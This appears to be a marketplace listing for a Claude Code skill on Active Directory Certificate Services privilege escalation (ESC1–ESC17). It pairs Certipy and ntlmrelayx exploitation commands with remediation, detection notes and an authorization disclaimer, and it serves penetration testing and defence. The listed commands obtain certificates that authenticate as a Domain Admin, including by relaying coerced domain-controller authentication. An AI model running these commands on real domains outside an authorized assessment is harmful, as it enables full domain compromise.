/claude-ad:adcs-attacksfrom claude-ad
Exploits AD CS certificate template vulnerabilities (ESC1-ESC17) using Certipy. Covers enumeration, exploitation commands, and remediation for each escalation technique.
Ships in claude-ad. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses Certipy (the ly4k project) throughout. You drive it by hand.
The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies.
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout
Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report:
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound
The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. -target is the CA/enrollment host and must be an FQDN, not an IP.
certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
-target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags]
certipy auth -pfx administrator.pfx -domain corp.local
certipy auth performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add -sid <target-SID>.
What it checks. A template where low-priv users can enroll, the template has an authentication EKU (Client Authentication / PKINIT / Smart Card Logon), and CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, meaning the requester chooses the Subject Alternative Name. You put a Domain Admin's UPN in the SAN and get a cert that authenticates as them.
certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
-target ca.corp.local -ca CORP-CA -template VulnUserTemplate -upn [email protected]
certipy auth -pfx administrator.pfx -domain corp.local
Remediation. Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from templates that have an authentication EKU. Require CA manager approval for enrollment. Restrict enrollment permissions.
What it checks. A template with the Any Purpose EKU (or no EKU at all) that low-priv users can enroll in. The resulting certificate can be used for client authentication (and more), so it behaves like ESC1 without the SAN requirement, subject to how the CA maps it.
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template AnyPurposeTemplate
Remediation. Define explicit, minimal EKUs; never leave Any Purpose or empty EKU on enrollable templates.
What it checks. A template granting the Certificate Request Agent EKU. You enroll to get an enrollment-agent cert, then use it to request a certificate on behalf of another user.
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template EnrollAgentTemplate
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template User \
-on-behalf-of 'CORP\administrator' -pfx enrollment_agent.pfx
Remediation. Restrict who can enroll in enrollment-agent templates; use enrollment-agent restrictions on the CA.
What it checks. You have write access (GenericWrite/WriteDacl/Owner) over the template object itself. You rewrite the template to be ESC1-vulnerable, exploit it, then revert. Certipy automates the flip.
certipy template -u [email protected] -p 'Password123' -template VulnTemplate \
-save-old -dc-ip 10.0.0.10
# now exploit as ESC1, then restore:
certipy template -u [email protected] -p 'Password123' -template VulnTemplate \
-configuration VulnTemplate.json
Remediation. Remove write ACEs on template objects for non-Tier-0 principals.
What it checks. Control over PKI-related AD objects (the CA computer object, the CA's container in the Configuration partition, etc.). Broad; it collapses to whatever the writable object lets you change. Assess and remediate via the same ACL discipline as ESC4.
Remediation. Audit ACLs on the whole CN=Public Key Services configuration container.
What it checks. The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, which lets a requester specify an arbitrary SAN on any request regardless of the template. It is effectively domain-wide ESC1. (Note: the May 2022 certificate-mapping hardening blunts SAN-only spoofing on patched DCs, but the misconfiguration is still a finding.)
certipy req -u [email protected] -p 'Password123' -ca CORP-CA \
-template User -upn [email protected]
Remediation. Remove the flag: certutil -config "CA\CORP-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2, then restart certsvc.
What it checks. You hold the ManageCA or Manage Certificates right on the CA. ManageCA lets you flip CA settings (e.g. enable ESC6) or add yourself as a certificate manager to approve pending requests.
certipy ca -u [email protected] -p 'Password123' -ca CORP-CA -add-officer user
certipy ca -u [email protected] -p 'Password123' -ca CORP-CA -enable-template SubCA
Remediation. Restrict ManageCA/ManageCertificates to Tier-0 CA administrators only.
What it checks. The CA exposes the HTTP(S) web enrollment endpoint (/certsrv/, or the CES/CEP web services) without Extended Protection for Authentication (EPA/channel binding). You coerce a privileged machine account (see the coercion + NTLM relay skill: PetitPotam/PrinterBug) to authenticate to your relay, and relay that NTLM authentication to the web enrollment endpoint to enroll a certificate as the coerced machine. A DC's cert means domain compromise.
Find the relay target:
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -stdout | grep -i "Web Enrollment"
Stand up the relay (impacket ntlmrelayx targeting the CES/web-enrollment URL):
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
Then coerce a DC to authenticate to your relay host (PetitPotam/Coercer, see coercion skill). Relayed request yields a DC certificate; certipy auth it to a TGT.
Remediation. Enable EPA (channel binding) and require HTTPS on the web enrollment endpoints; disable HTTP. Disable web enrollment if unused. Enforce SMB signing and the NTLM-relay mitigations. Apply the coercion patches.
What it checks. A template with CT_FLAG_NO_SECURITY_EXTENSION set omits the SID security extension. Combined with control over a victim account's userPrincipalName, you rewrite the victim's UPN to a target (e.g. an admin), enroll, then restore. The cert maps to the target because the SID binding is missing. Relevant chiefly on DCs configured for the weaker/compatibility certificate-mapping mode.
certipy account update -u [email protected] -p 'Password123' \
-user victim -upn administrator -dc-ip 10.0.0.10
certipy req -u [email protected] -p 'VictimPass' -ca CORP-CA -template ESC9Template
certipy account update -u [email protected] -p 'Password123' \
-user victim -upn [email protected] # restore
Remediation. Do not set CT_FLAG_NO_SECURITY_EXTENSION. Move DCs to Full Enforcement certificate mapping (KB5014754). Restrict who can write userPrincipalName.
What it checks. DC registry mapping is weakened: StrongCertificateBindingEnforcement=0 (Kerberos) or CertificateMappingMethods includes the weak UPN mapping (Schannel). Same UPN-swap idea as ESC9, driven by the mapping weakness rather than the template flag.
Remediation. Set StrongCertificateBindingEnforcement=2 (Full Enforcement) and remove weak CertificateMappingMethods bits (KB5014754).
What it checks. The CA's RPC enrollment interface (ICertPassage) does not require packet privacy (IF_ENFORCEENCRYPTICERTREQUEST disabled), so NTLM authentication can be relayed to it over RPC, the ESC8 idea against the RPC interface instead of the web endpoint.
ntlmrelayx.py -t rpc://ca.corp.local -rpc-mode ICPR -icpr-ca-name CORP-CA \
--adcs --template DomainController
Remediation. Enforce RPC encryption on the CA (certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST), restart certsvc; apply NTLM-relay mitigations.
What it checks. The CA private key is stored on a YubiHSM whose auth key is kept in a local registry value. An attacker with shell access to the CA (local admin) can recover the HSM auth key and use the CA private key to forge certificates. This is a post-compromise-of-the-CA-host issue, not a remote low-priv path.
Remediation. Protect CA host administrative access as Tier-0; do not store HSM auth material in the registry.
What it checks. A template carries an issuance policy (msDS-OIDToGroupLink) that maps to an AD group. Enrolling in the template yields a certificate that grants the rights of that group. If the linked group is privileged, low-priv enrollment escalates.
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout
# request the flagged template, then auth
Remediation. Remove msDS-OIDToGroupLink mappings to privileged groups; audit issuance-policy OID links.
What it checks. Write access to a target's altSecurityIdentities, or weak explicit mappings there, lets you bind a certificate you control to a privileged account. It is the explicit-mapping analogue of the ESC9/ESC10 implicit-mapping abuses.
Remediation. Restrict write access to altSecurityIdentities; use strong mapping values (Issuer+Serial, SKI), not weak ones (email/UPN only).
What it checks. On version-1 templates, a requester can inject arbitrary application policies into the CSR, adding a Client Authentication capability the template did not grant. It revives ESC1-style abuse on templates that looked safe.
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template WebServer \
-application-policies 'Client Authentication' -upn [email protected]
Remediation. Apply the CVE-2024-49019 patch. Retire schema-version-1 templates; restrict enrollment.
What it checks. The CA is configured to omit the SID security extension on all issued certificates (the szOID_NTDS_CA_SECURITY_EXT OID sits in the CA's disabled-extensions list). This makes ESC9-style UPN-swap abuse work domain-wide regardless of template flags.
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -stdout # flags ESC16
Remediation. Remove the OID from the CA's DisableExtensionList; move DCs to Full Enforcement mapping.
What it checks. The newest class in the Certipy family, covering weak issuance/mapping in hybrid AD CS-to-cloud certificate flows. Certipy's find reports it when present. Treat it like the mapping-weakness classes: assess what the issued cert can authenticate as, and whether a low-priv principal can obtain it.
Remediation. Enforce strong mapping and minimal EKUs on any template feeding hybrid/cloud authentication; audit the trust.
Where to spend time. In the field ESC1 (enrollee-supplied SAN) and ESC8 (relay to web enrollment) are by far the most common wins. ESC6, ESC9/ESC10/ESC16 (mapping weaknesses) and ESC15 (EKUwu) show up on unpatched or legacy CAs. The rest depend on specific ACL or CA-config misconfigurations that certipy find -vulnerable surfaces for you.
Detection (Event IDs).
Baseline remediation across all ESCs.
certipy find -vulnerable yourself and remediate every flagged template before an attacker does.Only test CAs you are authorized to assess. Use lab/generic CA names, templates and UPNs in write-ups, never a client's real values.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub adscanpro/claude-ad --plugin claude-ad8 skills in this plugin
/acl-abuseAbusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path./ad-environment-constraintsReal-world Active Directory environment constraints that silently break attacks when ignored: NTLM disabled (Kerberos fallback), AES-only KDCs (RC4 blocked by GPO), LDAP signing and channel binding requiring LDAPS on 636, Kerberos clock skew (KRB_AP_ERR_SKEW), SPNs that must be FQDNs never short names or IPs (the misleading invalidCredentials), Protected Users / LAPS / gMSA / MachineAccountQuota, LDAP 1000-object paging, and VPN latency. Use this whenever a bind, TGT request, LDAP query, or SMB negotiation fails in a way that looks like bad credentials but is really hardening, or before running any AD tooling against a domain you have not fingerprinted. Standard-tooling knowledge (netexec, impacket, certipy, bloodyAD, kerbrute), no vendor-specific engine.
/ad-methodologyThe order of operations for an Active Directory penetration test: setup, collection, exploitation, post-processing. Use this whenever you are planning or driving an AD assessment and need to know what to run before what and why (map before you exploit; harvest easy credentials before spraying to avoid lockouts; collect the graph before you reason about paths). Covers phase sequencing with standard tooling: netexec/nxc, impacket, certipy, bloodyAD, kerbrute, BloodHound CE. Invoke it at the start of an engagement, when deciding the next phase, or when a step feels out of order.
/ad-opsec-telemetryThe telemetry each Active Directory technique generates and what alerts a defender: Kerberoasting produces Event 4769 with RC4 encryption (0x17) and an MDI alert, DCSync produces Event 4662 with the DS-Replication-Get-Changes GUID, AS-REP roasting produces Event 4768 with no pre-auth, LSASS dumping is blocked by EDR, plus a lateral-movement telemetry table by protocol (SMB/WMI/WinRM/RDP/DCOM). Use this whenever you run or plan an offensive AD technique and need to know what noise it makes, when writing the engagement's detection notes, or when a defender wants to know what to monitor. Teaches red teamers what is loud and blue teamers what to watch. Standard-tooling knowledge, no vendor engine.
/coercion-ntlm-relayAuthentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket ntlmrelayx) toward LDAP, AD CS web enrollment (ESC8), or SMB. Use when SMB signing is not enforced or LDAP channel binding is missing, and you want to force a privileged machine account to authenticate to your relay and turn that into RBCD, a DCSync-capable ACL grant, or a certificate. Includes the exact Coercer/ntlmrelayx commands, requirements, detection, and remediation./compliance-mappingA high-level conceptual mapping from Active Directory attack techniques to the compliance controls they touch. Kerberoasting relates to authentication and logging, so it brushes ENS op.acc.5 / op.exp.8, NIS2 Art.21(2)(h), DORA RTS Art.9 / Art.21. Use this when a reader wants to understand which regulatory control an AD finding relates to, or to add an orientation note to a technical finding. This is a conceptual, orientative mapping only; it is NOT an auditor-defensible, curated, ID-by-ID control matrix. Covers ENS (op.acc.*, op.exp.*), NIS2 (Directive 2022/2555 Art.21), and DORA (RTS 2024/1774).
Other plugins' skills for the same job